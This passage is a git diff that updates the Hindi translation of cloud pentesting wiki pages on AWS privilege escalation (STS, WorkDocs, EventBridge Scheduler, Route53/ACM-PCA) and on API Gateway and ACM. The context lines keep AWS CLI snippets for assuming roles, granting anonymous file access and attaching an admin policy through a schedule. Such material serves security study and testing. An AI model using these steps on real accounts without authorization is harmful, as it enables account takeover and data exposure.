उपयोगकर्ताओं की नकल करने का अधिकार न दिया जाए: ```json { "Version": "2012-10-17", @@ -78,7 +78,7 @@ aws sts get-federation-token --name ] } ``` -किसी भूमिका का अनुकरण करने के लिए क्रेडेंशियल्स उत्पन्न करने के लिए आप सामान्यतः कुछ इस तरह का उपयोग कर सकते हैं: +क्रेडेंशियल्स उत्पन्न करने के लिए ताकि सामान्य रूप से भूमिका का अनुकरण किया जा सके, आप कुछ इस तरह का उपयोग कर सकते हैं: ```bash aws sts assume-role-with-saml --role-arn --principal-arn ``` @@ -90,7 +90,7 @@ onelogin-aws-assume-role --onelogin-subdomain mettle --onelogin-app-id 283740 -- ### `sts:AssumeRoleWithWebIdentity` -यह अनुमति उन **उपयोगकर्ताओं** के लिए अस्थायी सुरक्षा क्रेडेंशियल्स प्राप्त करने की अनुमति देती है जो एक वेब पहचान प्रदाता के साथ **मोबाइल, वेब एप्लिकेशन, EKS...** में प्रमाणित किए गए हैं। [यहाँ और जानें।](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html) +यह अनुमति उन **उपयोगकर्ताओं** के लिए अस्थायी सुरक्षा क्रेडेंशियल्स प्राप्त करने की अनुमति देती है जो एक वेब पहचान प्रदाता के साथ मोबाइल, वेब एप्लिकेशन, EKS... में प्रमाणित किए गए हैं। [यहाँ और जानें।](https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRoleWithWebIdentity.html) उदाहरण के लिए, यदि एक **EKS सेवा खाता** को **IAM भूमिका का अनुकरण** करने में सक्षम होना चाहिए, तो इसके पास **`/var/run/secrets/eks.amazonaws.com/serviceaccount/token`** में एक टोकन होगा और यह **भूमिका को ग्रहण कर सकता है और क्रेडेंशियल्स प्राप्त कर सकता है** कुछ इस तरह: ```bash diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md index 4284f2b83..67be6712d 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md @@ -30,7 +30,7 @@ aws workdocs get-document --document-id ``` ### `workdocs:AddResourcePermissions` -यदि आपके पास कुछ पढ़ने का अधिकार नहीं है, तो आप इसे बस प्रदान कर सकते हैं +यदि आपके पास कुछ पढ़ने का एक्सेस नहीं है, तो आप बस इसे प्रदान कर सकते हैं ```bash # Add permission so anyway can see the file aws workdocs add-resource-permissions --resource-id --principals Id=anonymous,Type=ANONYMOUS,Role=VIEWER @@ -38,7 +38,7 @@ aws workdocs add-resource-permissions --resource-id --principals Id=anonymo ``` ### `workdocs:AddUserToGroup` -आप एक उपयोगकर्ता को समूह ZOCALO_ADMIN में सेट करके व्यवस्थापक बना सकते हैं।\ +आप एक उपयोगकर्ता को ZOCALO_ADMIN समूह में सेट करके व्यवस्थापक बना सकते हैं।\ इसके लिए [https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html](https://docs.aws.amazon.com/workdocs/latest/adminguide/manage_set_admin.html) से निर्देशों का पालन करें। उस उपयोगकर्ता के साथ workdoc में लॉगिन करें और `/workdocs/index.html#/admin` में व्यवस्थापक पैनल तक पहुँचें। diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md index 66eb8544b..63e1c2751 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md @@ -4,7 +4,7 @@ ## EventBridge Scheduler -EventBridge Scheduler के बारे में अधिक जानकारी: +अधिक जानकारी EventBridge Scheduler में: {{#ref}} ../aws-services/eventbridgescheduler-enum.md @@ -12,7 +12,7 @@ EventBridge Scheduler के बारे में अधिक जानका ### `iam:PassRole`, (`scheduler:CreateSchedule` | `scheduler:UpdateSchedule`) -उन अनुमतियों के साथ एक हमलावर **`create`|`update` एक शेड्यूलर कर सकेगा और उस पर जुड़े शेड्यूलर भूमिका की अनुमतियों का दुरुपयोग कर सकेगा** किसी भी क्रिया को करने के लिए +एक हमलावर जिसके पास ये अनुमतियाँ हैं, वह **`create`|`update` एक शेड्यूलर कर सकेगा और इसके साथ जुड़े शेड्यूलर भूमिका के अनुमतियों का दुरुपयोग कर सकेगा** किसी भी क्रिया को करने के लिए उदाहरण के लिए, वे शेड्यूल को **एक Lambda फ़ंक्शन को कॉल करने के लिए कॉन्फ़िगर कर सकते हैं** जो एक टेम्पलेटेड क्रिया है: ```bash @@ -25,7 +25,7 @@ aws scheduler create-schedule \ "RoleArn": "arn:aws:iam:::role/" }' ``` -EventBridge Scheduler में टेम्पलेटेड सेवा क्रियाओं के अलावा, आप कई AWS सेवाओं के लिए API संचालन को सक्रिय करने के लिए **universal targets** का उपयोग कर सकते हैं। Universal targets लगभग किसी भी API को सक्रिय करने के लिए लचीलापन प्रदान करते हैं। एक उदाहरण यह हो सकता है कि universal targets का उपयोग करते हुए "**AdminAccessPolicy**" जोड़ना, एक भूमिका का उपयोग करते हुए जिसमें "**putRolePolicy**" नीति है: +इसके अलावा टेम्पलेटेड सेवा क्रियाओं के, आप **universal targets** का उपयोग कर सकते हैं EventBridge Scheduler में कई AWS सेवाओं के लिए API संचालन को सक्रिय करने के लिए। Universal targets लगभग किसी भी API को सक्रिय करने के लिए लचीलापन प्रदान करते हैं। एक उदाहरण हो सकता है universal targets का उपयोग करते हुए "**AdminAccessPolicy**" जोड़ना, एक भूमिका का उपयोग करते हुए जिसमें "**putRolePolicy**" नीति है: ```bash aws scheduler create-schedule \ --name GrantAdminToTargetRoleSchedule \ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md index 092aaaeba..4ecf7e080 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md @@ -15,18 +15,18 @@ Route53 के बारे में अधिक जानकारी के अन्य अनुमतियाँ **enumeration** भाग के लिए अनुशंसित हैं लेकिन आवश्यक नहीं हैं: `route53:GetHostedZone`, `route53:ListHostedZones`, `acm-pca:ListCertificateAuthorities`, `ec2:DescribeVpcs` -मान लीजिए कि एक AWS VPC है जिसमें कई क्लाउड-नेटिव एप्लिकेशन एक-दूसरे और AWS API से बात कर रहे हैं। चूंकि माइक्रोसर्विसेज के बीच संचार अक्सर TLS एन्क्रिप्टेड होता है, इसलिए उन सेवाओं के लिए वैध प्रमाणपत्र जारी करने के लिए एक निजी CA होना चाहिए। **यदि ACM-PCA का उपयोग किया जाता है** और प्रतिकूलता **route53 और acm-pca निजी CA दोनों को नियंत्रित करने के लिए पहुंच प्राप्त कर लेती है** तो ऊपर वर्णित न्यूनतम अनुमतियों के साथ, यह **AWS API के लिए एप्लिकेशन कॉल को हाईजैक कर सकती है** और उनके IAM अनुमतियों पर नियंत्रण प्राप्त कर सकती है। +मान लेते हैं कि एक AWS VPC है जिसमें कई क्लाउड-नेटिव एप्लिकेशन एक-दूसरे और AWS API से बात कर रहे हैं। चूंकि माइक्रोसर्विसेज के बीच संचार अक्सर TLS एन्क्रिप्टेड होता है, इसलिए उन सेवाओं के लिए वैध प्रमाणपत्र जारी करने के लिए एक निजी CA होना चाहिए। **यदि ACM-PCA का उपयोग किया जाता है** और प्रतिकूलता **route53 और acm-pca निजी CA दोनों को नियंत्रित करने के लिए पहुंच प्राप्त कर लेती है** तो ऊपर वर्णित न्यूनतम अनुमतियों के साथ, यह **AWS API के लिए एप्लिकेशन कॉल को हाईजैक कर सकती है** और उनके IAM अनुमतियों पर नियंत्रण कर सकती है। यह संभव है क्योंकि: - AWS SDKs में [Certificate Pinning](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning) नहीं है - Route53 AWS APIs डोमेन नामों के लिए प्राइवेट होस्टेड ज़ोन और DNS रिकॉर्ड बनाने की अनुमति देता है -- ACM-PCA में प्राइवेट CA को केवल विशिष्ट कॉमन नामों के लिए प्रमाणपत्र पर हस्ताक्षर करने के लिए प्रतिबंधित नहीं किया जा सकता +- ACM-PCA में निजी CA को केवल विशिष्ट सामान्य नामों के लिए प्रमाणपत्र पर हस्ताक्षर करने के लिए प्रतिबंधित नहीं किया जा सकता **संभावित प्रभाव:** ट्रैफ़िक में संवेदनशील जानकारी को इंटरसेप्ट करके अप्रत्यक्ष प्रिवेस्क। -#### Exploitation +#### शोषण -मूल शोध में शोषण के चरण खोजें: [**https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/**](https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/) +शोध में शोषण के चरणों को खोजें: [**https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/**](https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/README.md b/src/pentesting-cloud/aws-security/aws-services/README.md index 64b4dfc6e..0e7f73995 100644 --- a/src/pentesting-cloud/aws-security/aws-services/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/README.md @@ -1,31 +1,31 @@ -# AWS - Services +# AWS - सेवाएँ {{#include ../../../banners/hacktricks-training.md}} -## Types of services +## सेवाओं के प्रकार -### Container services +### कंटेनर सेवाएँ -Services that fall under container services have the following characteristics: +कंटेनर सेवाओं के अंतर्गत आने वाली सेवाओं की निम्नलिखित विशेषताएँ हैं: -- The service itself runs on **अलग बुनियादी ढांचे के उदाहरण**, such as EC2. -- **AWS** is responsible for **ऑपरेटिंग सिस्टम और प्लेटफ़ॉर्म का प्रबंधन**. -- A managed service is provided by AWS, which is typically the service itself for the **वास्तविक अनुप्रयोग जो कंटेनरों के रूप में देखे जाते हैं**. -- As a user of these container services, you have a number of management and security responsibilities, including **नेटवर्क एक्सेस सुरक्षा का प्रबंधन, जैसे नेटवर्क एक्सेस नियंत्रण सूची नियम और कोई भी फ़ायरवॉल**. -- Also, platform-level identity and access management where it exists. -- **Examples** of AWS container services include Relational Database Service, Elastic Mapreduce, and Elastic Beanstalk. +- सेवा स्वयं **अलग अवसंरचना उदाहरणों** पर चलती है, जैसे कि EC2। +- **AWS** **ऑपरेटिंग सिस्टम और प्लेटफ़ॉर्म** का **प्रबंधन** करने के लिए जिम्मेदार है। +- AWS द्वारा एक प्रबंधित सेवा प्रदान की जाती है, जो आमतौर पर **वास्तविक अनुप्रयोग के लिए सेवा है जिसे कंटेनर के रूप में देखा जाता है**। +- इन कंटेनर सेवाओं के उपयोगकर्ता के रूप में, आपके पास कई प्रबंधन और सुरक्षा जिम्मेदारियाँ हैं, जिसमें **नेटवर्क एक्सेस सुरक्षा का प्रबंधन, जैसे नेटवर्क एक्सेस कंट्रोल लिस्ट नियम और कोई भी फ़ायरवॉल** शामिल हैं। +- इसके अलावा, प्लेटफ़ॉर्म-स्तरीय पहचान और पहुँच प्रबंधन जहाँ यह मौजूद है। +- AWS कंटेनर सेवाओं के **उदाहरण** में रिलेशनल डेटाबेस सेवा, इलास्टिक मैपरीड्यूस, और इलास्टिक बीनस्टॉक शामिल हैं। -### Abstract Services +### अमूर्त सेवाएँ -- These services are **प्लेटफ़ॉर्म या प्रबंधन परत से हटा हुआ, अमूर्त, जिस पर क्लाउड अनुप्रयोग बनाए जाते हैं**. -- The services are accessed via endpoints using AWS application programming interfaces, APIs. -- The **नीचे का बुनियादी ढांचा, ऑपरेटिंग सिस्टम, और प्लेटफ़ॉर्म का प्रबंधन AWS द्वारा किया जाता है**. -- The abstracted services provide a multi-tenancy platform on which the underlying infrastructure is shared. -- **डेटा सुरक्षा तंत्र के माध्यम से अलग किया जाता है**. -- Abstract services have a strong integration with IAM, and **examples** of abstract services include S3, DynamoDB, Amazon Glacier, and SQS. +- ये सेवाएँ **प्लेटफ़ॉर्म या प्रबंधन परत से हटा दी गई हैं, जिस पर क्लाउड अनुप्रयोग बनाए जाते हैं**। +- सेवाओं को AWS एप्लिकेशन प्रोग्रामिंग इंटरफेस, APIs का उपयोग करके एंडपॉइंट्स के माध्यम से एक्सेस किया जाता है। +- **नीचे की अवसंरचना, ऑपरेटिंग सिस्टम, और प्लेटफ़ॉर्म का प्रबंधन AWS द्वारा किया जाता है**। +- अमूर्त सेवाएँ एक मल्टी-टेनेन्सी प्लेटफ़ॉर्म प्रदान करती हैं जिस पर नीचे की अवसंरचना साझा की जाती है। +- **डेटा सुरक्षा तंत्र के माध्यम से अलग किया जाता है**। +- अमूर्त सेवाओं का IAM के साथ मजबूत एकीकरण होता है, और अमूर्त सेवाओं के **उदाहरण** में S3, DynamoDB, Amazon Glacier, और SQS शामिल हैं। -## Services Enumeration +## सेवाओं की गणना -**The pages of this section are ordered by AWS service. In there you will be able to find information about the service (how it works and capabilities) and that will allow you to escalate privileges.** +**इस अनुभाग के पृष्ठ AWS सेवा के अनुसार क्रमबद्ध हैं। वहाँ आप सेवा के बारे में जानकारी (यह कैसे काम करता है और क्षमताएँ) पा सकेंगे और यह आपको विशेषाधिकार बढ़ाने की अनुमति देगा।** {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md index 8ee461dec..6e09f3ddf 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md @@ -8,7 +8,7 @@ AWS API Gateway एक व्यापक सेवा है जो Amazon Web Services (AWS) द्वारा पेश की गई है, जिसे डेवलपर्स को **बड़े पैमाने पर APIs बनाने, प्रकाशित करने और देखरेख करने** के लिए डिज़ाइन किया गया है। यह एक एप्लिकेशन के लिए एक प्रवेश बिंदु के रूप में कार्य करता है, जिससे डेवलपर्स को नियमों और प्रक्रियाओं का एक ढांचा स्थापित करने की अनुमति मिलती है। यह ढांचा बाहरी उपयोगकर्ताओं को एप्लिकेशन के भीतर कुछ डेटा या कार्यक्षमताओं तक पहुँचने को नियंत्रित करता है। -API Gateway आपको **यह परिभाषित करने की अनुमति देता है कि आपके APIs के लिए अनुरोधों को कैसे संभाला जाना चाहिए**, और यह विशिष्ट विधियों (जैसे, GET, POST, PUT, DELETE) और संसाधनों के साथ कस्टम API एंडपॉइंट बनाने में सक्षम है। यह डेवलपर्स के लिए आपके APIs को उनके एप्लिकेशनों से कॉल करना आसान बनाने के लिए क्लाइंट SDKs (सॉफ़्टवेयर विकास किट) भी उत्पन्न कर सकता है। +API Gateway आपको **यह परिभाषित करने की अनुमति देता है कि आपके APIs के लिए अनुरोधों को कैसे संभाला जाना चाहिए**, और यह विशिष्ट विधियों (जैसे, GET, POST, PUT, DELETE) और संसाधनों के साथ कस्टम API एंडपॉइंट बनाने में सक्षम है। यह डेवलपर्स के लिए अपने एप्लिकेशनों से आपके APIs को कॉल करना आसान बनाने के लिए क्लाइंट SDKs (सॉफ़्टवेयर विकास किट) भी उत्पन्न कर सकता है। ### API Gateways Types @@ -19,11 +19,11 @@ API Gateway आपको **यह परिभाषित करने की ### API Gateway Main Components -1. **Resources**: API Gateway में, संसाधन वे घटक हैं जो **आपके API की संरचना बनाते हैं**। वे **आपके API के विभिन्न पथों या एंडपॉइंट्स** का प्रतिनिधित्व करते हैं और आपके API द्वारा समर्थित विभिन्न क्रियाओं के अनुरूप होते हैं। एक संसाधन प्रत्येक विधि है (जैसे, GET, POST, PUT, DELETE) **प्रत्येक पथ के भीतर** (/, या /users, या /user/{id}). -2. **Stages**: API Gateway में स्टेज आपके API के **विभिन्न संस्करणों या वातावरणों** का प्रतिनिधित्व करते हैं, जैसे विकास, स्टेजिंग, या उत्पादन। आप स्टेज का उपयोग करके **आपके API के कई संस्करणों का प्रबंधन और तैनाती** कर सकते हैं, जिससे आप नए फीचर्स या बग फिक्स का परीक्षण कर सकते हैं बिना उत्पादन वातावरण को प्रभावित किए। स्टेज **स्टेज वेरिएबल्स** का भी समर्थन करते हैं, जो कुंजी-मूल्य जोड़े होते हैं जिन्हें वर्तमान स्टेज के आधार पर आपके API के व्यवहार को कॉन्फ़िगर करने के लिए उपयोग किया जा सकता है। उदाहरण के लिए, आप स्टेज वेरिएबल्स का उपयोग API अनुरोधों को विभिन्न Lambda कार्यों या अन्य बैकएंड सेवाओं की ओर निर्देशित करने के लिए कर सकते हैं। +1. **Resources**: API Gateway में, संसाधन वे घटक हैं जो **आपके API की संरचना बनाते हैं**। वे आपके API के **विभिन्न पथों या एंडपॉइंट्स** का प्रतिनिधित्व करते हैं और आपके API द्वारा समर्थित विभिन्न क्रियाओं के अनुरूप होते हैं। एक संसाधन प्रत्येक विधि है (जैसे, GET, POST, PUT, DELETE) **प्रत्येक पथ के भीतर** (/, या /users, या /user/{id}). +2. **Stages**: API Gateway में स्टेज आपके API के **विभिन्न संस्करणों या वातावरणों** का प्रतिनिधित्व करते हैं, जैसे विकास, स्टेजिंग, या उत्पादन। आप स्टेज का उपयोग **एक साथ कई संस्करणों के प्रबंधन और तैनाती** के लिए कर सकते हैं, जिससे आप नए फीचर्स या बग फिक्स का परीक्षण कर सकते हैं बिना उत्पादन वातावरण को प्रभावित किए। स्टेज **स्टेज वेरिएबल्स** का भी समर्थन करते हैं, जो कुंजी-मूल्य जोड़े होते हैं जिन्हें आपके API के व्यवहार को वर्तमान स्टेज के आधार पर कॉन्फ़िगर करने के लिए उपयोग किया जा सकता है। उदाहरण के लिए, आप स्टेज वेरिएबल्स का उपयोग API अनुरोधों को विभिन्न Lambda कार्यों या अन्य बैकएंड सेवाओं की ओर निर्देशित करने के लिए कर सकते हैं। - स्टेज API Gateway एंडपॉइंट के URL की शुरुआत में संकेतित होता है। -3. **Authorizers**: API Gateway में ऑथराइजर्स आपके API तक पहुँच को **नियंत्रित करने** के लिए जिम्मेदार होते हैं, कॉलर की पहचान को सत्यापित करके अनुरोध को आगे बढ़ाने की अनुमति देने से पहले। आप **AWS Lambda कार्यों** का उपयोग कस्टम ऑथराइजर्स के रूप में कर सकते हैं, जो आपको अपनी स्वयं की प्रमाणीकरण और प्राधिकरण लॉजिक लागू करने की अनुमति देता है। जब एक अनुरोध आता है, API Gateway अनुरोध के प्रमाणीकरण टोकन को Lambda ऑथराइज़र को पास करता है, जो टोकन को संसाधित करता है और एक IAM नीति लौटाता है जो निर्धारित करती है कि कॉलर को कौन सी क्रियाएँ करने की अनुमति है। API Gateway **निर्मित ऑथराइजर्स** का भी समर्थन करता है, जैसे **AWS पहचान और पहुँच प्रबंधन (IAM)** और **Amazon Cognito**। -4. **Resource Policy**: API Gateway में एक संसाधन नीति एक JSON दस्तावेज़ है जो **आपके API तक पहुँचने के लिए अनुमतियों को परिभाषित करता है**। यह एक IAM नीति के समान है लेकिन विशेष रूप से API Gateway के लिए तैयार की गई है। आप एक संसाधन नीति का उपयोग यह नियंत्रित करने के लिए कर सकते हैं कि कौन आपके API तक पहुँच सकता है, वे कौन सी विधियाँ कॉल कर सकते हैं, और वे किन IP पते या VPCs से कनेक्ट कर सकते हैं। **संसाधन नीतियों का उपयोग ऑथराइजर्स के साथ संयोजन में किया जा सकता है** ताकि आपके API के लिए बारीक पहुँच नियंत्रण प्रदान किया जा सके। +3. **Authorizers**: API Gateway में ऑथराइज़र आपके API तक पहुँच को **नियंत्रित करने** के लिए जिम्मेदार होते हैं, कॉलर की पहचान को सत्यापित करके अनुरोध को आगे बढ़ाने की अनुमति देने से पहले। आप **AWS Lambda कार्यों** का उपयोग कस्टम ऑथराइज़र के रूप में कर सकते हैं, जिससे आप अपनी स्वयं की प्रमाणीकरण और प्राधिकरण लॉजिक लागू कर सकते हैं। जब एक अनुरोध आता है, API Gateway अनुरोध के प्रमाणीकरण टोकन को Lambda ऑथराइज़र को पास करता है, जो टोकन को संसाधित करता है और एक IAM नीति लौटाता है जो निर्धारित करती है कि कॉलर को कौन सी क्रियाएँ करने की अनुमति है। API Gateway **निर्मित ऑथराइज़र** का भी समर्थन करता है, जैसे **AWS पहचान और पहुँच प्रबंधन (IAM)** और **Amazon Cognito**। +4. **Resource Policy**: API Gateway में एक संसाधन नीति एक JSON दस्तावेज़ है जो **आपके API तक पहुँचने के लिए अनुमतियों को परिभाषित करता है**। यह एक IAM नीति के समान है लेकिन विशेष रूप से API Gateway के लिए तैयार की गई है। आप एक संसाधन नीति का उपयोग यह नियंत्रित करने के लिए कर सकते हैं कि कौन आपके API तक पहुँच सकता है, वे कौन सी विधियाँ कॉल कर सकते हैं, और वे किन IP पते या VPCs से कनेक्ट कर सकते हैं। **संसाधन नीतियों का उपयोग ऑथराइज़र्स के साथ संयोजन में किया जा सकता है** ताकि आपके API के लिए बारीक पहुँच नियंत्रण प्रदान किया जा सके। - प्रभाव डालने के लिए API को **संसाधन नीति में संशोधन के बाद फिर से तैनात** करने की आवश्यकता होती है। ### Logging @@ -128,8 +128,8 @@ https://.execute-api..amazonaws.com// ### संसाधन नीति -यह संभव है कि संसाधन नीतियों का उपयोग करके यह परिभाषित किया जा सके कि कौन API एंडपॉइंट्स को कॉल कर सकता है।\ -निम्नलिखित उदाहरण में आप देख सकते हैं कि **संकेतित IP कॉल नहीं कर सकता** एंडपॉइंट `/resource_policy` को GET के माध्यम से। +यह संभव है कि संसाधन नीतियों का उपयोग यह परिभाषित करने के लिए किया जाए कि कौन API एंडपॉइंट्स को कॉल कर सकता है।\ +निम्नलिखित उदाहरण में आप देख सकते हैं कि **संकेतित IP एंडपॉइंट** `/resource_policy` को GET के माध्यम से कॉल नहीं कर सकता।
@@ -139,25 +139,25 @@ https://.execute-api..amazonaws.com//
-जब यह सेट किया जाता है, तो आप जब किसी भी प्राधिकरण के बिना एंडपॉइंट तक पहुँचने की कोशिश करते हैं, तो आपको त्रुटि `{"message":"Missing Authentication Token"}` प्राप्त होगी। +जब यह सेट किया जाता है, तो आप बिना किसी प्राधिकरण के एंडपॉइंट तक पहुँचने की कोशिश करते समय त्रुटि `{"message":"Missing Authentication Token"}` प्राप्त करेंगे। -ऐप द्वारा अपेक्षित टोकन उत्पन्न करने का एक आसान तरीका **curl** का उपयोग करना है। +ऐप्लिकेशन द्वारा अपेक्षित टोकन उत्पन्न करने का एक आसान तरीका **curl** का उपयोग करना है। ```bash $ curl -X https://.execute-api..amazonaws.com// --user : --aws-sigv4 "aws:amz::execute-api" ``` -एक और तरीका है कि **Postman** के अंदर **`Authorization`** प्रकार **`AWS Signature`** का उपयोग करें। +एक और तरीका है **Postman** के अंदर **`Authorization`** प्रकार **`AWS Signature`** का उपयोग करना।
-जिस खाते का आप उपयोग करना चाहते हैं, उसका accessKey और SecretKey सेट करें और आप API endpoint के खिलाफ प्रमाणित कर सकते हैं। +जिस खाते का आप उपयोग करना चाहते हैं, उसके accessKey और SecretKey सेट करें और आप API endpoint के खिलाफ प्रमाणित कर सकते हैं। दोनों विधियाँ एक **Authorization** **header** उत्पन्न करेंगी जैसे: ``` AWS4-HMAC-SHA256 Credential=AKIAYY7XU6ECUDOTWB7W/20220726/us-east-1/execute-api/aws4_request, SignedHeaders=host;x-amz-date, Signature=9f35579fa85c0d089c5a939e3d711362e92641e8c14cc571df8c71b4bc62a5c2 ``` -ध्यान दें कि अन्य मामलों में **Authorizer** को **खराब कोडित** किया गया हो सकता है और **Authorization header** के अंदर **कुछ भी** भेजने से **छिपी हुई सामग्री** को **देखने की अनुमति** मिलेगी। +ध्यान दें कि अन्य मामलों में **Authorizer** को **खराब कोडित** किया गया हो सकता है और **Authorization header** के अंदर **कुछ भी** भेजने से **छिपी हुई सामग्री** को **देखने की अनुमति** मिल जाएगी। -### Request Signing Using Python +### Python का उपयोग करके अनुरोध हस्ताक्षर करना ```python pip install requests @@ -184,14 +184,14 @@ response = requests.get(url, auth=awsauth) print(response.text) ``` -### Custom Lambda Authorizer +### कस्टम लैम्ब्डा ऑथराइज़र -यह संभव है कि एक लैम्ब्डा का उपयोग किया जाए जो एक दिए गए टोकन के आधार पर **IAM नीति** लौटाएगा जो यह दर्शाती है कि क्या उपयोगकर्ता **API एंडपॉइंट को कॉल करने के लिए अधिकृत है**।\ -आप प्रत्येक संसाधन विधि को सेट कर सकते हैं जो लेखक का उपयोग करेगी। +यह संभव है कि एक लैम्ब्डा का उपयोग किया जाए जो दिए गए टोकन के आधार पर **IAM नीति** लौटाएगा जो यह दर्शाती है कि उपयोगकर्ता **API एंडपॉइंट को कॉल करने के लिए अधिकृत है**।\ +आप प्रत्येक संसाधन विधि को सेट कर सकते हैं जो ऑथराइज़र का उपयोग करेगी।
-Lambda Authorizer Code Example +लैम्ब्डा ऑथराइज़र कोड उदाहरण ```python import json @@ -250,13 +250,13 @@ return policy ### आवश्यक API कुंजी -यह संभव है कि API अंत बिंदुओं को सेट किया जाए जो **एक मान्य API कुंजी** की आवश्यकता हो। +यह संभव है कि API एंडपॉइंट सेट करें जो **एक मान्य API कुंजी** की आवश्यकता हो।
API Gateway पोर्टल में API कुंजी उत्पन्न करना संभव है और यहां तक कि यह भी सेट करना कि इसे कितनी बार उपयोग किया जा सकता है (प्रति सेकंड अनुरोधों और प्रति माह अनुरोधों के संदर्भ में)। -API कुंजी को काम करने के लिए, आपको इसे एक **Usage Plan** में जोड़ना होगा, यह उपयोग योजना **API Stage** में जोड़ी जानी चाहिए और संबंधित API स्टेज को **endpoint** के लिए एक **method throttling** कॉन्फ़िगर किया जाना चाहिए जो API कुंजी की आवश्यकता करता है: +API कुंजी को काम करने के लिए, आपको इसे **Usage Plan** में जोड़ना होगा, यह उपयोग योजना **API Stage** में जोड़ी जानी चाहिए और संबंधित API स्टेज को **endpoint** के लिए एक **method throttling** कॉन्फ़िगर किया जाना चाहिए जो API कुंजी की आवश्यकता है:
@@ -266,19 +266,19 @@ API कुंजी को काम करने के लिए, आपको ../aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md {{#endref}} -## प्रिवेस्क +## Privesc {{#ref}} ../aws-privilege-escalation/aws-apigateway-privesc.md {{#endref}} -## पोस्ट एक्सप्लोइटेशन +## Post Exploitation {{#ref}} ../aws-post-exploitation/aws-api-gateway-post-exploitation.md {{#endref}} -## स्थिरता +## Persistence {{#ref}} ../aws-persistence/aws-api-gateway-persistence.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md b/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md index ef32b29d5..6e083637a 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md @@ -4,9 +4,9 @@ ## Basic Information -**AWS Certificate Manager (ACM)** एक सेवा के रूप में प्रदान किया गया है जिसका उद्देश्य **AWS सेवाओं और आंतरिक संसाधनों के लिए SSL/TLS प्रमाणपत्रों के प्रावधान, प्रबंधन और तैनाती को सरल बनाना** है। मैनुअल प्रक्रियाओं की आवश्यकता, जैसे कि खरीदना, अपलोड करना, और प्रमाणपत्र नवीनीकरण, **ACM द्वारा समाप्त** कर दी गई है। यह उपयोगकर्ताओं को विभिन्न AWS संसाधनों पर प्रमाणपत्रों को प्रभावी ढंग से अनुरोध और लागू करने की अनुमति देता है, जिसमें **Elastic Load Balancers, Amazon CloudFront वितरण, और API Gateway पर APIs** शामिल हैं। +**AWS Certificate Manager (ACM)** एक सेवा के रूप में प्रदान किया गया है जिसका उद्देश्य **AWS सेवाओं और आंतरिक संसाधनों के लिए SSL/TLS प्रमाणपत्रों के प्रावधान, प्रबंधन और तैनाती** को सरल बनाना है। मैनुअल प्रक्रियाओं की आवश्यकता, जैसे कि खरीदना, अपलोड करना, और प्रमाणपत्र नवीनीकरण, को **ACM द्वारा समाप्त** कर दिया गया है। यह उपयोगकर्ताओं को विभिन्न AWS संसाधनों पर प्रमाणपत्रों को प्रभावी ढंग से अनुरोध और लागू करने की अनुमति देता है, जिसमें **Elastic Load Balancers, Amazon CloudFront वितरण, और API Gateway पर APIs** शामिल हैं। -ACM की एक प्रमुख विशेषता है **प्रमाणपत्रों का स्वचालित नवीनीकरण**, जो प्रबंधन ओवरहेड को काफी कम करता है। इसके अलावा, ACM **आंतरिक उपयोग के लिए निजी प्रमाणपत्रों के निर्माण और केंद्रीकृत प्रबंधन** का समर्थन करता है। हालांकि, Elastic Load Balancing, Amazon CloudFront, और Amazon API Gateway जैसी एकीकृत AWS सेवाओं के लिए SSL/TLS प्रमाणपत्र ACM के माध्यम से बिना किसी अतिरिक्त लागत के प्रदान किए जाते हैं, उपयोगकर्ता अपने अनुप्रयोगों द्वारा उपयोग किए जाने वाले AWS संसाधनों से संबंधित लागतों और प्रत्येक **निजी प्रमाणपत्र प्राधिकरण (CA)** और एकीकृत ACM सेवाओं के बाहर उपयोग किए जाने वाले निजी प्रमाणपत्रों के लिए मासिक शुल्क के लिए जिम्मेदार होते हैं। +ACM की एक प्रमुख विशेषता है **प्रमाणपत्रों का स्वचालित नवीनीकरण**, जो प्रबंधन के ओवरहेड को काफी कम करता है। इसके अलावा, ACM **आंतरिक उपयोग के लिए निजी 